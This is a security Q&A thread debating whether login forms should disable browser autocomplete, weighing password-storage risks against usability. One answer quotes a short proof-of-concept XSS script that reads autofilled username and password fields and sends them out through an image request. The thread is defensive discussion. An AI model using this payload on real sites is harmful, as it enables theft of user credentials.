Sign up ×
Information Security Stack Exchange is a question and answer site for information security professionals. It's 100% free, no registration required.

I've noticed that some web-app security scanners flag the 'AutoComplete' feature of some websites (in the username/password fields) as a security risk and thus suggest including AutoComplete=off or in the code somewhere.

I've since learned that autocomplete is a non-standard attribute and apparently doesn't work in some browsers.

I'm wondering if there's a 'best practice' in terms of security when it comes to this?

share|improve this question
you mean autocomplete="off", not false I guess? –  Tomas Jan 5 '14 at 19:49

4 Answers 4

up vote 7 down vote accepted

That kind of depends whether you're aiming for security, or to please an auditor.

If you enable autocomplete for the username and password, they'll stay recorded in the user's browser. That means the user won't need to remember it or store it in an easily-accessible place, which means you actually have a chance that they'll pick a strong password. (You have a better chance if you can impose the password.)

If you disable autocomplete, and the browser honors this setting, the user will have to type their password again every time. Therefore they will pick one that's easy to remember and type. If you manage to impose a strong password, they'll store it in an easily-accessible place for copy-paste. A password in a random text file that may be accidentally copied around, that may be pasted by mistake in a public place (URL bar, email, …), is a far worse risk than a password stored in the browser's password store.

You may find the argument that if the user is using a shared browser, they're leaving the credentials around for the next person using that browser. This argument is bogus: even if the browser honors autocomplete=off, they're leaving the password to any passing keylogger.

I think mobile browsers tend to ignore autocomplete=off, due to a combination of awkward keyboards, lack of availability of post-it notes while on the move, and an expectation of a smooth UX.

One specific case where you should turn off autocomplete as thoroughly as possible is a credit card CCV. Maybe even the card number while you're at it, but if you do that, store it server-side and don't let it be displayed in full (though this is not a panacea).

Do make sure however to turn off autocorrect for passwords. You don't want a password to be corrected to a word in the mobile device's dictionary, or to be added into the dictionary when the user rescinds the autocorrection.

share|improve this answer
I don't really agree with your reasoning here. If you want users to have a "remember me" function to help users choose strong passwords (and not really sure that would have the desired effect anyway) then the application should implement it itself and not rely on browser mechanisms. The problem with browser based ones is that they store the actual password where an properly implemented remember me function can store a token and try to tie it to a specific machine/IP address making it harder to steal. –  Rоry McCune Apr 10 '13 at 8:56
Also for shared browsers the threat scenario of "user finds another users password cached in browser and decides to use it" is very different in terms of attacker skill and motivation to "user installs keylogging software on PC" –  Rоry McCune Apr 10 '13 at 8:57
@RoryMcCune How can the application implement it? It doesn't have any control over the client. You can implement an alternative authentication mechanism (some form of single sign-on) or a complementary one (device or address binding — in an enterprise environment perhaps, but it's not that straightforward in a public app): yes, these are good ideas, but it's not what this question is about. –  Gilles Apr 11 '13 at 0:23
@RoryMcCune You're right that implanting a keylogger is an active attack, whereas extracting password from a disk dump is a passive attack. But there's not much to gain by making the attacker extract the passwords from passwords.txt instead of the browser password database. And in an enterprise environment you might even be able to get the users to put a master password on their browser password database! –  Gilles Apr 11 '13 at 0:25
For the record, the application i'm thinking off is for 'internal' use only in a large company with several thousand employees. Its not hard to imagine someone caching their credentials and someone walking by their unlocked workstation at some point to recover them/use them in my opinion –  NULLZ Apr 11 '13 at 2:39

Best practice is kind of arbitrary in this scenario because it's up to the application to decide whether it wants to allow autocomplete or not.

Do you trust the user's browser to store your application's credentials? Yes: ignore it. No: block it.

Since it's browser dependent it doesn't add too much value, but it certainly helps from a defense in depth perspective.

share|improve this answer

There are two main security issues connected to form autocompletion:

  • an attacker with access to the browser will be able to read the saved information (if the storage isn't password protected)
  • if the web application is vulnerable to Cross-Site Scripting, malicious code can be used to retrieve autocompleted information and send them to the attacker

Considering these possible "attacks", a web site owner must decide whether the added functionality is worth having or if it brings a risk too big to be taken.

In the end, it all comes down to the kind of web application we are talking about. For example, I wouldn't mind autocompletion for authentication credentials of a news web site, but I certainly wouldn't like my home banking web application to autocompleting my credit card PAN!

While the security best practice is definitely to disable the autocomplete feature, it is a matter that needs to be assessed differently for each situation (and each form field!).

share|improve this answer

Not for all forms, however if the page contains sensitive information such as credentials, and these credentials are auto completed by the browser without user interaction, and the site contains an XSS vulnerability, then an XSS attack could trivially retrieve the credentials without any user involvement at all.

Hackavoid has an excellent write-up, and some POC code:

      setTimeout(function() {getPass();},500);
      function getPass() {
           var username = document.getElementById('user').value;
           var password = document.getElementById('pass').value;
           document.write("<img src='" + username + "&password=" + password+"' />");

In their example, it is a persistent XSS vulnerability, but much the same could be achieved with a reflected XSS vulnerability. To extend this attack, the XSS itself could even provide the username and password boxes for the browser to autocomplete in the case that the XSS isn't on a login page.

So, I would still recommend setting autocomplete to off for sensitive fields that are auto completed without any user interaction on modern browsers. Many browser based password managers such as LastPass give the option to ignore AutoComplete=off. However, LastPass also gives the option to not automatically fill login information (Plugin > General > Automatically Fill Login Information). I recommend that this be disabled to mitigate any credential grabbing XSS attacks as an end user.

share|improve this answer

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.